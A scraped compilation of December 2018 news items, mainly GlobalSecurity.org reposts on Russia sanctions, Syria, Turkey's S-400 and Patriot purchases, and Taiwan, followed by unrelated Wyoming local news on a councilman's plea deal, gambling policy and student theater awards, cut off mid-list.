Attack In a brazen attack that defied international norms and Russia's obligations under the Chemical Weapons Convention, GRU officers attempted to assassinate Sergei Skripal and his daughter by using a military grade nerve agent called Novichok in Salisbury, England in March 2018. Skripal, his daughter, and a police officer survived the attack; however, months later, two additional British nationals were exposed to the agent, one of whom died as a result. Many governments, including the United States, United Kingdom, Germany, France, and Canada, have made it clear that the Russian government was responsible for this attack. Today OFAC is designating Alexander Petrov (Petrov) and Ruslan Boshirov (Boshirov), the GRU officers responsible for carrying out this attempted assassination of Sergei Skripal and his daughter. Petrov and Boshirov were designated pursuant to CAATSA Section 224 for acting or purporting to act for or on behalf of, directly or indirectly, the GRU. State Department Concurrent Action In a concurrent action, the Department of State also added 12 individuals and entities designated today to the List of Specified Persons under Section 231 of CAATSA for being part of, or operating for or on behalf of, the defense or intelligence sector of the Russian Federation. As a result of this action, any person determined to knowingly engage in a significant transaction with these 12 individuals will be subject to CAATSA Section 231 sanctions. Identifying information on the individuals and entities designated today. #### NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address OFAC Notifies Congress of Intent to Delist En+, Rusal, and EuroSibEnergo U.S. Department of the Treasury December 19, 2018 Agreed Upon Framework Severs Oleg Deripaska's Control of These Entities and Substantially Decreases His Ownership Interest Washington The U.S. Department of the Treasury's Office of Foreign Assets Control (OFAC) today notified Congress of its intention to terminate the sanctions imposed on En+ Group plc ("En+"), UC Rusal plc ("Rusal"), and JSC EuroSibEnergo ("ESE") in 30 days. OFAC has determined that the significant restructuring and corporate governance changes will enable them to meet the criteria for delisting. Russian oligarch Oleg Deripaska will remain sanctioned, and his property will remain blocked. "Treasury sanctioned these companies because of their ownership and control by sanctioned Russian oligarch Oleg Deripaska, not for the conduct of the companies themselves. These companies have committed to significantly diminish Deripaska's ownership and sever his control. The companies will be subject to ongoing compliance and will face severe consequences if they fail to comply," said Treasury Secretary Steven T. Mnuchin. "OFAC maintains the ability under the terms of the agreement to have unprecedented levels of transparency into operations." On April 6, 2018, OFAC designated En+ for being owned or controlled by, directly or indirectly, Oleg Deripaska and other entities he owns or controls. In that same action, OFAC designated Rusal for being owned or controlled by, directly or indirectly, En+. ESE, a wholly owned subsidiary of En+, was also designated. En+, Rusal, and ESE have agreed to a framework to undertake significant restructuring and corporate governance changes to address the circumstances that led to their designation, including, among other commitments: (i) reducing Deripaska's direct and indirect shareholding stake; (ii) overhauling the composition of the En+ and Rusal boards of directors; (iii) taking other restrictive steps related to their corporate governance; and (iv) committing to full transparency with Treasury by undertaking extensive, ongoing auditing, certification, and reporting requirements. This framework has been documented in a "Terms of Removal," which, when executed, will be a binding agreement between these companies and OFAC. OFAC will continue to aggressively enforce its sanctions on Deripaska, including by closely monitoring these companies' compliance with the terms of their removal from OFAC's List of Specially Designated Nationals and Blocked Persons ("SDN List"). OFAC reserves the right to relist one or all of these companies should they fail to comply with the agreement. Deripaska will remain on the SDN List. All of Deripaska's property and interests in property, including entities in which he holds a fifty percent or greater interest, will remain blocked. Deripaska's investment in these companies is effectively frozen and Deripaska cannot obtain cash either in return for his shares or from future dividends issued by En+, Rusal, or ESE. Foreign persons will continue to be subject to secondary sanctions should they knowingly facilitate a significant transaction for or on behalf of Deripaska. U.S. persons will continue to be prohibited from dealing, directly or indirectly, with Deripaska or any other designated person. OFAC's civil enforcement authorities and processes are described in detail in OFAC's Economic Sanctions Enforcement Guidelines, 31 C.F.R. part 501, app. A. Treasury's Notice to Congress and information on today's action. #### NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Syrian Constitution Committee meeting to be held early 2019 IRNA - Islamic Republic News Agency Moscow, Dec 19, IRNA -- The Russian Foreign Minister announced that the first meeting of the Syrian Constitution Committee is slated to be held early 2019. Speaking to reporters at the end of the trilateral consultative meeting of Iran, Russia and Turkey in Geneva, Sergey Lavrov said these three countries as peace guarantors of Astana have agreed to hold the Constitution Committee meeting in the mentioned time. In order to reach an overall agreement, the Constitution Committee should be based on collective compromise and constructive participation, he said. The trilateral consultative meeting was held with the attendance of Iranian Foreign Minister Mohammad Javad Zarif , his Russian and Turkish counterparts and UN Special Envoy for Syria Staffan de Mistura. Earlier de Mistura thanked Iran, Russia and Turkey for their efforts on setting up a committee to draft a new constitution for Syria, saying that the process is still incomplete. 9376**1771 NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Russia slams US illegal presence in Syria as 'obstacle' to settlement Iran Press TV Wed Dec 19, 2018 05:06PM Russia has slammed the "illegal" presence of US troops in Syria as "a dangerous obstacle" to finding a peace settlement. "From being a factor in the fight against terrorism, the illegal American presence in Syria is becoming a dangerous obstacle to the path to a settlement," Russia's Foreign Ministry spokeswoman Maria Zakharova said at a news briefing on Wednesday. Syria has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding Takfiri terrorist groups wreaking havoc in the country. PressTV-Assad asks Iran, Russia to stop Western 'interference' President Bashar al-Assad has asked Iran and Russia to "stop the interference of some Western states" as Syria is setting up a committee tasked with negotiating a new post-war constitution. The US has long been accused of providing safe passage and logistical support to the Takfiri terrorists, who have been fighting to topple the Damascus government since early 2011. Currently, American military forces maintain a significant presence in Syria's north, where they openly support the anti-Damascus Kurdish militants. The US and its allies have also been running an illegal bombing campaign against what is claimed to be Daesh positions. Those raids have done little to uproot terrorism and, instead, hampered Syrian army advances against Takfiri militants on numerous occasions. Furthermore, the military alliance has repeatedly been accused of targeting and killing civilians. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Daesh terrorists executed over 700 prisoners in eastern Syria in two months: Observatory Iran Press TV Wed Dec 19, 2018 03:38PM The so-called Syrian Observatory for Human Rights says members of the Daesh Takfiri terrorist group have executed more than 700 prisoners in Syria's troubled eastern province of Dayr al-Zawr. The Britain-based monitor group, citing dozens of security sources within Daesh as well as civilians living in areas under the terrorists' control, reported on Wednesday that the prisoners were among a total of 1,350 civilians and rival militants held by the Takfiris. Observatory head Rami Abdul Rahman said that the executions had taken place ever since the so-called Syrian Democratic Forces (SDF), a US-backed coalition of mainly Kurdish militants, re-launched their assault on Daesh militants in October. He added that many of the victims have been buried in mass graves. Abdul Rahman went on to say that Daesh Takfiris executed three more people on Wednesday for "smuggling civilians" out of the enclave toward SDF-held areas. About 200 people are thought to have fled in the last 24 hours, the Observatory said, noting that Daesh militants have moved over 350 prisoners farther west of the Euphrates River as SDF militants make more advances in Daesh-controlled territories. On December 5, United Nations High Commissioner for Human Rights, Michelle Bachelet, warned against the deteriorating humanitarian situation in Syria's troubled eastern province of Dayr al-Zawr, saying that Daesh Takfiri terrorists are putting local residents to death. Speaking to a news conference in the Swiss city of Geneva, Bachelet voiced deep concern for 7,000 civilians, whom she said had been caught between Daesh militants preventing them from evacuating Dayr al-Zawr, located 450 kilometers northeast of the capital Damascus, and US-led coalition airstrikes. "We also have reports of Daesh executing people perceived as cooperating with SDF or other parties to the conflict," she said. The high-ranking UN official went on to say that civilians in Dayr al-Zawr province are being used as "pawns and bargaining chips" in the conflict. Syria has been gripped by foreign-backed militancy since March 2011. The Syrian government says the Israeli regime and its Western and regional allies are aiding Takfiri terrorist groups wreaking havoc in the country. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address State Dept Denies Trump Gave 'Greenlight' for Turkish Offensive in Syria Sputnik News 01:07 19.12.2018(updated 03:05 19.12.2018) WASHINGTON (Sputnik) - Turkish President Recep Tayyip Erdogan said on Monday that US President Donald Trump had responded positively to Turkey's plans to launch an offensive on the eastern side of the Euphrates River. When asked on Tuesday whether the Turkish president had made a misstatement, State Department Deputy Spokesperson Robert Palladino said, "Yes." The United States is focused on reforming the Syrian government and "the international process that gives everyone a chance to live in Syria," Palladino said. Last Wednesday, Erdogan announced that the Turkish army was ready to start an offensive against the Kurdish People's Protection Units (YPG) on the Euphrates east bank at the earliest opportunity. Turkey has been claiming that the YPG's presence near its border threatened its national security. On January 20, Turkey and the Free Syrian Army (FSA) opposition forces launched Operation Olive Branch in the northern Syrian district of Afrin aimed at "clearing" the YPG and the Kurdish Democratic Union Party (PYD) from Turkey's Syrian border. In March, Ankara announced that Afrin was under the complete control of the Turkish forces. Turkey and the United States have had tense relations in recent years, in part due to Ankara's concerns over US support for the YPG, which is viewed by the Turkish authorities as an affiliate of the Kurdistan Workers' Party (PKK), listed as a terrorist organization in Turkey, the United States and the European Union. Meanwhile, former YPG official spokesman Rezan Hedo has told Sputnik that Turkey's possible new military operation in Syrian Manbij region and on the eastern shore of the Euphrates river in Syria could also benefit the Daesh. YPG is a part of the Syrian Democratic Forces (SDF) and supported by the United States. According to Hedo, currently, SDF are reporting success in the operation against the Daesh in Deir ez-Zor and tightening the ring around the remaining militants near the Iraqi border and in the Hajin area. Hedo warned that if the Turkish operation in Manbij starts, SDF will have to send the troops to the different front line, which will give the Daesh an advantage. US Defense Department spokesperson Cmdr. Sean Robertson has told Sputnik that Turkey's prospective unilateral military operation in northeast Syria if launched would be unacceptable. Daesh (ISIL/ISIS/IS/Islamic State) is a terrorist organisation banned in Russia. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Allies React With Alarm to Trump Pull-out Tweet, Kurds Fear Turkish Attack By Jamie Dettmer December 19, 2018 Syrian Kurdish allies of the United States reacted with alarm Wednesday at the surprise announcement by President Donald Trump on Twitter that all American forces have begun withdrawing from Syria. A rapid withdrawal they say will leave them vulnerable to an offensive Turkey has threatened to launch against them east of the Euphrates river and would likely lead to a peeling away of Arab fighters aligned with them who are being courted by Syrian leader Bashar al-Assad. Russia welcomed the announcement Wednesday, saying the decision creates opportunities for a political solution to the crisis there. The Trump administration has not detailed any withdrawal plan, or explained how the United States will remain engaged in the conflict after its troops leave. But it could have immediate consequences for the tense relations between Kurdish and Turkish troops in the region. Turkey-Kurd Tensions On Monday, Turkish President Recep Tayyip Erdogan said he was ready to launch a new cross-border military operation at any moment against the Kurdish Peoples' Protection Units, or YPG, which have been shielded from Turkey by the U.S. military presence. Speaking at a rally earlier this week, the Turkish leader claimed he had won concessions from Washington during a lengthy phone conversation with Trump about a new offensive against the U.S.-allied YPG. Ankara sees the YPG as an affiliate of Kurdish militants in Turkey. Earlier on Wednesday at a regular press briefing, Russian foreign ministry spokeswoman Maria Zakharova called the U.S. military presence in northern Syria "illegal" and said it was an obstacle to finding a political solution to the Syria conflict. "From being a factor in the fight against terrorism, the illegal American presence in Syria is becoming a dangerous obstacle to the path to a settlement," she was quoted by Russian media outlets as saying. Impact on US allies Hours later, the Wall Street Journal first reported the U.S. leader was weighing whether to order an immediate withdrawal of about 2,000 U.S. soldiers stationed in northern Syria, where they have been fighting jointly with the Syrian Kurds against the Islamic State group as part of an international anti-terror coalition that includes European powers Britain and France. Kurdish commanders in northern Syria say they still hold out hopes that the U.S. president might reverse his decision. "We are being told that the Pentagon is pushing back which is why we are being careful in what we are saying now," said one YPG commander. "But if there isn't change of heart, this will be green-light for Turkey to attack," he added. British officials say although they had been readied by Washington for a possible Syria-related announcement but that Trump's tweet took them by surprise. Tobias Ellwood, a defense minister said he "strongly disagrees" with Trump's assessment of IS's defeat. He said the terror group "has morphed into other forms of extremism and the threat is very much alive." British officials say they have no immediate plans to follow suit to withdraw from the conflict a position echoed by French officials. French president Emmanuel Macron believed he had only recently convinced Trump to keep U.S. troops in Syria as a bulwark against any possible IS resurgence. He pointed to a United Nations report in August that estimated IS still had up to 30,000 fighters in Iraq and Syria. Recent US assurances on Syria European officials say they had been lulled by remarks made by just a few days ago by Brett McGurk, Trump's special presidential envoy for the global coalition to defeat IS, who said: "Nobody is saying that [IS fighters] are going to disappear. Nobody is that naive. So we want to stay on the ground and make sure that stability can be maintained in these areas." Syrian Kurdish commanders say they had been given assurances by their American partners of a continued U.S. military presence at least until IS couldn't mount any kind of resurgence and there is greater stability in northern Syria. U.S. forces have been maintaining patrols around potential flash-points between Turkish and YPG units close to the town of Manbij and along the Syria-Turkey border to deter any clashes. Trump's tweet triggered strong criticism from several U.S. analysts who are focused on the long-running Syria conflict, who say that an American withdrawal from Syria risks allowing IS the opportunity to re-group and will strengthen Assad. "The Trump administration's repeatedly stated primary goal in Syria has been the enduring defeat of ISIS," says Charles Lister, an analyst at the Middle East Institute, a Washington-based think tank. "We're arguably years from achieving that. To make that fact as clear as day, ISIS claimed responsibility for an attack in Raqqa only 10 minutes before Trump's mission-accomplished tweet. That's a city the U.S. liberated and in which U.S. troops and USAID and State personnel are deployed in to this day," he said. Lister added: "Geopolitically, this is not just a dream scenario for ISIS, but also for Russia, Iran and the Assad regime, all of whom stand to benefit substantially from a U.S. withdrawal from Syria." Richard Haass, president of the Council on Foreign Relations and a former U.S. ambassador, tweeted in response to Trump's: "One can only hope any U.S. military withdrawal from Syria would not be unconditional. It would be strategically and morally wrong to leave Syrian Kurds to their fate vs Turkey. Same holds for leaving Syrian people to face their government, Iran, and Russia." NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address US, French Military Withdraw From Manbij Area in Northern Syria - SDF Source Sputnik News 02:07 20.12.2018 DAMASCUS (Sputnik) - US and French forces began to abandon their positions near the city of Manbij in northern Syria, a source close to the Arab-Kurdish formations of the Syrian Democratic Forces (SDF) told Sputnik on Wednesday. "The US forces left Al-Qaziyah position in the town of Al-Shuyuh, east of Manbij, and from their position in the village of Al-Asheq near Tell Abiad, in the direction of the US base located in Ayn Issa in the Raqqa province, preparing complete withdrawal from Syria," the source said. According to the source, the French military also left a number of their positions in the Manbij area in the province of Aleppo and in Ayn Issa in the province of Raqqa. Earlier in the day, the White House announced removal of all service members currently on the ground in Syria, and the Pentagon said they have already started the process of returning US troops home. All State Department staff will evacuate from Syria within 24 hours, according to media reports. Syria has been in a state of conflict since 2011, with numerous opposition groups and terrorist organizations fighting the Syrian Arab Army in an attempt to topple the government of Bashar Assad. Russia, along with Turkey and Iran, is one of the guarantor states of the Syrian ceasefire. The US-led coalition of more than 70 countries is conducting military operations against the Islamic State terrorist group (IS, banned in Russia) in Syria and Iraq. The coalition's operations in Iraq are conducted in cooperation with the Iraqi government, but those in Syria are not authorized by the Syrian government or the UN Security Council. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address U.S. senators urge action against CCP meddling in Taiwan elections ROC Central News Agency 2018/12/19 13:19:36 Taipei, Dec. 19 (CNA) Six American senators have asked U.S. government agencies to help Taiwan investigate China's alleged meddling in its elections and take action to prevent Beijing from interfering in future elections in democracies around the globe. "We appreciate your actions your departments are already taking to address CCP (Chinese Communist Party) foreign interference," the senators said in a letter addressed to Secretary of State Mike Pompeo, Treasury Secretary Steven Mnuchin, National Intelligence Director Dan Coats and FBI Director Christopher Wray. "We encourage you to work closely with Taiwan authorities to thoroughly investigate these allegations and, if necessary, take swift action to deter future CCP interference in elections in Taiwan or elsewhere across the globe," senators Catherine Cortez Masto, Marco Rubio, Christopher Coons, Cory Gardner, Michael Bennet and Ted Cruz said in the letter dated Dec. 13. Taiwan's government suggested that illegal campaign contributions to pro-Beijing political candidates were one of the primary tools of alleged CCP interference in the Nov. 24 elections for local government offices, the letter said. Taiwan also accused the CCP of "using disinformation to shape public opinion of political candidates deemed unsympathetic to Beijing's interests" and alleged that "the CCP spread false information through social media and messaging platforms." The senators said CCP attempts to erode democratic processes and norms around the world threaten U.S. partnerships and prosperity, and if Taiwan's allegations proved true, it "would be deeply concerning not only for Taiwan's future, but also for fellow democracies....where the CCP many choose to interfere." "We believe such allegations must be taken seriously if free societies are to continue to thrive," said the senators. Citing comments by Deputy Assistant Secretary of State Scott Busby to praise Taiwan as "an invaluable model to others," they said democracies like the U.S. and Taiwan had to stand together. They said it was especially important at a time of democratic backsliding and human rights abuses elsewhere in the Indo-Pacific region that the two sides join hands to promote "a brighter future, free of repression, censorship and exploitation." "We write to express our support for efforts to counter interference of this nature and to state unequivocally that we stand shoulder to shoulder with democracies fighting attempts to undermine their sovereignty and freedom," they wrote. In response, Joseph Wu (), Taiwan's foreign affairs minister, thanked the U.S. Congress for its support and said Taiwan has had many discussions with U.S. authorities in this area. Taiwan hopes to join in discussions with other countries to help prevent similar interference in democratic practices in other free countries, he said. (By Chiang Chin-yeh, Ku Chuan and Flor Wang) Enditem/ls NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address 'Russia to fulfill S-400 sale to Turkey despite Patriot deal' Iran Press TV Wed Dec 19, 2018 11:16AM The Kremlin says there is no link between Turkey's possible purchase of US Patriot surface-to-air missile (SAM) systems and that of the advanced Russian-built S-400 air defense missile system, saying Moscow is in the process of fulfilling the terms of the deal with Ankara. "These are not connected processes. In this case, we are fulfilling agreements that we have with our Turkish colleagues. You know that the contract is being fulfilled. This will be continued," Kremlin spokesman Dmitry Peskov said on Wednesday. Peskov's remarks came a day after the Pentagon announced that the US State Department had approved a possible $3.5 billion sale of Patriot missile systems to its NATO-ally Turkey, after notifying Congress of the certification. The sale would cover the procurement of 80 Patriot guidance-enhanced missiles and 60 other missiles along with related equipment, including radar sets, engagement control stations and launching stations. Peskov further said that Russia trusted its Turkish partners not to disclose certain data about the S-400 system to its NATO partners. "As a rule, Russian defense military and defense cooperation with other states necessarily envisages legal obligations on non-disclosure of certain categories of information, of sensitive data related to this cooperation. In case with the Turkish side, there are such obligations as well We see no reason not to trust our Turkish partners," Peskov said. Moscow and Ankara finalized an agreement on the delivery of the S-400 missile systems in December 2017. The deal has drawn concerns among some of Turkey's NATO allies, who claim the missile batteries are not compatible with those of the military alliance. The S-400, whose full name is the Triumf Mobile Multiple Anti-Aircraft Missile System (AAMS), is an advanced Russian missile system designed to detect, track, and destroy planes, drones, or missiles as far as 402 kilometers away. It has previously been sold only to China and India. On April 3, Turkey's President Recep Tayyip and his Russian counterpart Vladimir Putin said in Ankara that they had agreed to expedite the delivery of the S-400 missile systems. The delivery had previously been scheduled for late 2019 and early 2020. Earlier in October, Turkish Defense Minister Hulusi Akar said the deployment of the Russian air defense systems would start next year. Ankara has already begun constructing a site for the S-400 deployment, according to reports. Washington and its NATO partners have been striving to prevent the sophisticated Russian-built anti-aircraft weapon system from collecting information about the US-made all-weather stealth multirole warplanes, technically known as the Lockheed Martin F-35 fighters, just as they are gaining a foothold in Europe. The US has warned that any such acquisition would inevitably affect the prospects for Turkish military-industrial cooperation with the US. Turkey is working to boost its air defense, particularly after Washington decided in 2015 to withdraw its Patriot surface-to-air missile system from Turkey's border with Syria. Before gravitating towards Russia, the Turkish military reportedly walked out of a $3.4 billion contract for a similar Chinese system. The withdrawal took place under purported pressure from Washington. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address U.S. Proposes Sale Of Patriot Missile System To Turkey December 19, 2018 The State Department says the United States has proposed the sale of a $3.5 billion Patriot missile system to Turkey. Congress has been notified of the proposed sale, aimed at boosting Ankara's air- and missile-defense capabilities. The State Department says the deal "will contribute to the foreign policy and national security of the United States by improving the security of a key NATO ally on the front lines of the fight against terrorism." The proposal comes after NATO member Turkey announced it was buying S-400 surface-to-air missile systems from Russia. Washington has complained that the Russian system is not compatible with weapons used by other NATO allies. The State Department says, "The proposed sale will enhance Turkey's interoperability with the United States and NATO." Asked about the American move, Kremlin spokesman Dmitry Peskov said on December 19 that Russia's contract to supply Ankara with S-400 missile systems is being fulfilled regardless of Turkey's decision about the Patriot missile system. With reporting by Reuters, AP, and Interfax Source: https://www.rferl.org/a/u-s-proposes-sale-of-patriot- missile-system-to-turkey/29664799.html Copyright (c) 2018. RFE/RL, Inc. Reprinted with the permission of Radio Free Europe/Radio Liberty, 1201 Connecticut Ave., N.W. Washington DC 20036. NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address Turkey's Purchases of Russian S-400, US Patriot Systems Not Connected - Kremlin Sputnik News 12:46 19.12.2018 MOSCOW (Sputnik) - Kremlin believes that Turkey's possible purchase of US Patriot Missile System and of Russian S-400 Triumph air defense systems are not connected, and that Russia-Turkey contract on S-400 purchase will be continued, Kremlin spokesman Dmitry Peskov said on Wednesday. "These processes are not connected. In this case, we are implementing the agreements that we already have reached with our Turkish colleagues. You know that the project and the contract related to S-400 is being implemented, and it will be continued," Peskov told reporters. The Russian-Turkish contract on S-400 purchase envisages Ankara's non-disclosure of certain data, and Moscow trusts its Turkish partners, Peskov added. "As a rule, Russian defense military and defense cooperation with other states necessarily envisages legal obligations on non-disclosure of certain categories of information, of sensitive data related to this cooperation. In case with the Turkish side, there are such obligations as well We see no reason not to trust our Turkish partners," Peskov said. In December 2017, Ankara signed a loan agreement with Moscow envisaging the delivery of the Russian-made S-400 air defence systems to Turkey. S-400 Triumph (NATO reporting name SA-21 Growler) is Russia's most advanced surface-to-air missile system. It has a range of 400 kilometres (248 miles) and is capable of tracking and destroying all existing aerial targets, including ballistic and cruise missiles. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address State Department: US Authorizes $3.5Bln Sell of Patriot Missile System to Turkey Sputnik News 04:31 19.12.2018(updated 05:05 19.12.2018) WASHINGTON (Sputnik) - The US government approved a proposed deal worth $3.5 billion for Patriot Missile System and related equipment to Turkey, the State Department said in a statement. "[US] @StateDept authorizes a proposed Foreign Military Sale (FMS) to #Turkey for Patriot Missile System & Related Support and Equipment worth $3.5 billion," the Political-Military Affairs Bureau said in a twitter post on Tuesday. Last year, Russia and Turkey signed a loan agreement for the supply of the S-400 air defense systems to Ankara. The deal triggered disagreements between Ankara and Washington, with the latter threatening to impose sanctions against Turkey, as the United States believes that the weapon is incompatible with the NATO defenses. The deal has become a major concern for NATO. NATO Deputy Secretary General Rose Gottemoeller has said that the S-400 does not integrate with NATO members' systems, while NATO's Military Committee Chairman Petr Pavel has warned Turkey that there might be consequences if the country procured Russia's S-400 air defense system, adding that it could prevent Turkey from becoming part of any integrated air defense system. In late April, Turkish Foreign Minister Mevlut Cavusoglu said that Turkey was also considering purchasing US-made Patriot missile defense system or other air defense systems if it was able to get a fair offer from its NATO allies. Sputnik NEWS LETTER Join the GlobalSecurity.org mailing list Enter Your Email Address The BMW Group and Daimler AG are planning the next steps for their joint mobility company (earlier post), following approval by the responsible authorities. The basis for this is the approval of the US antitrust authorities, which was received on 18 December 2018. All antitrust authorities involved have now given the green light for the new joint venture, which is owned in equal parts by the BMW Group and Daimler AG. The joint venture will focus on ensuring the personal freedom of customers in the field of urban mobility. Geared towards this vision of future urban mobility, a new mobility offering will be created that is easy to access, intuitive and focused on the needs of the user. On their urban journey, customers will move through a seamlessly connected and sustainable ecosystem that combines CarSharing, Ride-Hailing, Parking, Charging and Multimodality from a single source and is available with just a few taps. The idea is to create the most attractive, most comprehensive mobility solution for a better life in the connected world. Now that the approval of the antitrust authorities has been received, the goal is to close this transaction by 31 January 2019. Once this major transaction closes, the new mobility company will present next steps in the first quarter of 2019, in conjunction with the BMW Group and Daimler AG. The equally-owned joint venture will comprise the following activities and services: The authorities of Frankfurt am Main have officially started the citys first fully electric bus line, number 75, with the deployment of 5 Solaris electric buses. The vehicles carry passengers in the city center on a specially created zero-emission line connecting two university campuses. For the additional promotion of zero-emission transport in the city, the buses have been decorated with colorful veneer and provided with funny word games referring to electromobility. The contract for the delivery of five Urbino 12 electric vehicles was signed with In der City Bus Frankfurt am Main at the end of 2017. The batteries havek a total capacity of up to 240 kWh, which are charged by a stationary plug-in charger. Solaris also delivered 3 chargers to the operator. The Urbinos are equipped with an innovative electric axle with two integrated motors. Nearly 70 Urbino electric buses have already been contracted by Solaris with operators in Germany. It places the manufacturer first in terms of electric vehicles sold in the country and accounts for almost 20% of the entire electric bus market in Germany. A motion hearing for Green River City Councilman Allan Wilson turned into a change of plea hearing when he pleaded guilty to the charge of sexual assault of a minor in the second degree Monday morning. The plea is part of a plea agreement that would see the other charges he faces, sexual abuse of a minor in the first degree, sexual abuse of a minor in the second degree and sexual abuse of a minor in the third degree dismissed. The count he plead guilty to involves an incident that occurred in Sweetwater County in 2013 where Wilson was alleged to have touched the penis of a male child younger than 13 for sexual gratification. The other charges stem from separate incidents alleged to have occurred in Lincoln County. The charges from Lincoln County were joined with the Sweetwater County charge in a previous court hearing. Wilson will receive a deferred sentence as part of the deal, so long as he provides a factual basis for the charge, admitting to the allegations against him. The deferral refers to Wyoming Statute 7-13-301, which is commonly known as the state's first offender law. Under that law, a person charged with a felony, with the exception of murder, arson in the first or second degree, aggravated assault and battery or sexual assault in the first or second degree, and not having been found guilty of a previous felony, can apply to have the proceedings deferred and be placed on a probation term not exceeding five years. If that probation term is completed, then the original charge is dismissed. The deferral is subject to Judge Nena James' final approval. A dedication removed After news broke of Wilson's guilty plea, the Sweetwater County Child Developmental Center in Green River removed a plaque dedicating its park to Wilson. Wilson was the director of the city's parks and recreation and was instrumental in helping bring the building to fruition. "He was a valuable member of the community," Cristy Pelham, the CDC's executive director said Monday. " We're going to take it down ... It is very unfortunate, but we will not have a plaque dedicating a playground to an individual who harmed a child." Amanda Cavaz, the communications administrator for the city said the plaque at the CDC would be the only item removed from public display, saying anything specifically honoring his service will be removed. She said there are not many plaques listing Wilson as a contributor public projects and said plaques listing him as a member of a group being recognized for its contributions will remain. Cavaz said the city has monitored the situation and have acted on the issue steps as more information is publicly released. She said Wilson's term as a city councilman wraps up at the end of the year, naturally taking care of a situation where the Council would have to remove him from the group. Wilson did not attend the council meeting Tuesday evening. With the attorney generals decision that skill games terminals are illegal and playing those machines is considered gambling under state law, residents who enjoyed playing those machines are likely out of a means to enjoy those games. Of course, a person could travel to Riverton or Lander and enjoy a traditional slot machine at a reservation casino. Residents could also decide to play one of the historic horse racing terminals, which look a lot like slot machines, available nearby as the attorney generals opinion does not impact historic horse racing. Historic horse racing is something legalized under separate state statutes. Regardless, whats obvious to us is there is a demand for gambling. The demand might be large enough that the Wyoming Legislature may want to look at easing the states gambling laws to allow additional forms of gaming. One of the easiest places to start is the states laws regarding the lottery to allow scratch games. One of the biggest complaints people have had about the lotterys inception was the fact it only allowed for the purchase of lottery tickets, excluding scratch cards from being sold commercially. Allowing the expansion of cards would likely bring additional revenue to the state while allowing people to scratch that particular itch. Laws regulating slot machines could also be examined and loosened to allow these skill games into Wyoming. Any movement on this would very likely face opposition from the states reservation casinos and Wyoming Horse Racing LLC., which operates the historic horse racing terminals in Wyoming, as a change in the law would certainly have an impact on their operations. Yet, regardless of if the legislature decides to debate the issue or not, one thing to remember is while gambling does bring in a lot revenue, it generally impacts lower-income residents. Theres a reason why lotteries are often called a tax on the poor. Research shows low-income people are more inclined to purchase lottery tickets, buying into the dream of instant riches at a few dollars a ticket. Other forms of gambling see similar investment streams. While we support the individuals right to choose if they want to gamble or buy a lottery ticket, there is something to be said about the state making money off of its poorer residents. While we dont doubt such moves to open up additional forms of gambling would be positively received by state residents, were not sure doing so would be a good idea. Some of the students receiving recognition are from left to right Jordan McAnarney, Emmalee Skinner, Ethan Peterson, Katherine Skinner, Tristen Higbee and Jaron Shereda. Nineteen Green River thespians recently received All-State honors after attending the Wyoming State Thespian Festival. Green River High School theater director Bradlee Skinner said in order to obtain a state title, students must receive a superior rating for their performance in the category they have entered. These categories are often judged by two or three judges who determine the rating. Students compete in various categories including, monologue acting, duet acting, group acting, solo musical theatre, duet musical theatre, group musical theatre, novice monologues, novice scenes, scenic design, make-up design, original script writing, publicity/marketing, lighting design, costume design, sound design, costume construction, stage management and short film. "Last year, we had four students receive all-state honors," Skinner said. "This year, we increased that number to 19. It tells me that we are headed in the right direction and providing students with opportunities to improve their skills and be recognized for their work." Skinner said seeing how the excited the students got when they received the awards was a treat. "Hearing their names called at the awards ceremony is a special moment and seeing the joy in their faces as all their hard work paid off is a wonderful moment," Skinner said. State drama is a way for the students to learn and take something back from their experience. "Hopefully, it shows those students who received this honor to keep working and continue to produce high-quality work and for those who did not; it may provide them with the motivation they need to get there next year." The students weren't the only ones who received an award, Skinner was named Wyoming Theater Director of the Year for 2018 at the festival. "I was honored, of course, but I was humbled as well. This is an award which is voted on by theater teachers from all over the state," Skinner said. "I love and admire the work they are doing to have them recognize the work we are doing here at Green River truly means a great deal to me." Skinner said nominations are given to the festival committee who then presents the nominees at the final meeting of the theaters teachers and directors. On the last day of the festival a ballot vote is hosted to determine the winner of the award. Skinner wanted the award to speak about his work with the students. "Hopefully, it says that the work we are doing on state is of a high quality, but most of all I hope it says that I am a director who cares about his students and wants them to succeed in whatever they do," he said. Skinner has been at GRHS as its director for the past two years, but he has been teaching in Wyoming for five years. For the future of the theater program, Skinner would like to continue producing high-quality productions and increase the number of community members in attendance at those productions. "Perhaps the more awards and recognition our program receives we may be able to encourage those who may be reluctant to attend the theatre to come out and enjoy the work these fine students are producing," he said. Wyoming State Thespian Festival Results All-State recipients Novice monologues: Jordan McAnarney Group acting: Jaron Shereda, Raymond Garcia, Kiyonna Howard, Sandra Figenser, Emmalee Skinner, Tristen Higbee, Ethan Peterson, Timmy Golightly, Jordan Ferrell, Amber Gambles, Abbey Atkinson and Trista Parry for their performances in Act III of "The Crucible." Group musical theater: Sandra Figenser, Kamryn Ferrell, Katherine Skinner, Emmalee Skinner, Angelina Gilbert and Jordan Ferrell for their performance of "The Cell Block Tango" from Chicago. Honorable Mentions Stage management; Emmalee Skinner Duet varsity scenes; Jordan Ferrell and Sierra Bird, and Kamryn Ferrell and Tristen Higbee Novice monologue: Kiyonna Howard Varsity monologue, Kassi Jo Rasmussen, Jordan Ferrell and Elora Siler Small group acting: Anthony Murphy, JD Renfro, Wyatt Cudney and Rocco Coppolo Solo musical theatre: Kamryn Ferrell, Sierra Bird, and Sandra Figenser Group musical theater: Raymond Garcia, Tristen Higbee, Ty Higbee, Jaron Shereda, Ethan Peterson and Elijah Kropf for their performance of "With Catlike Tread" from Pirates of Penzance, and Emmie Archibald, Emily Peak and Torie Green for their singing of "I Know It's Today" from Shrek, the Musical. Duet musical; Sandra Figenser and 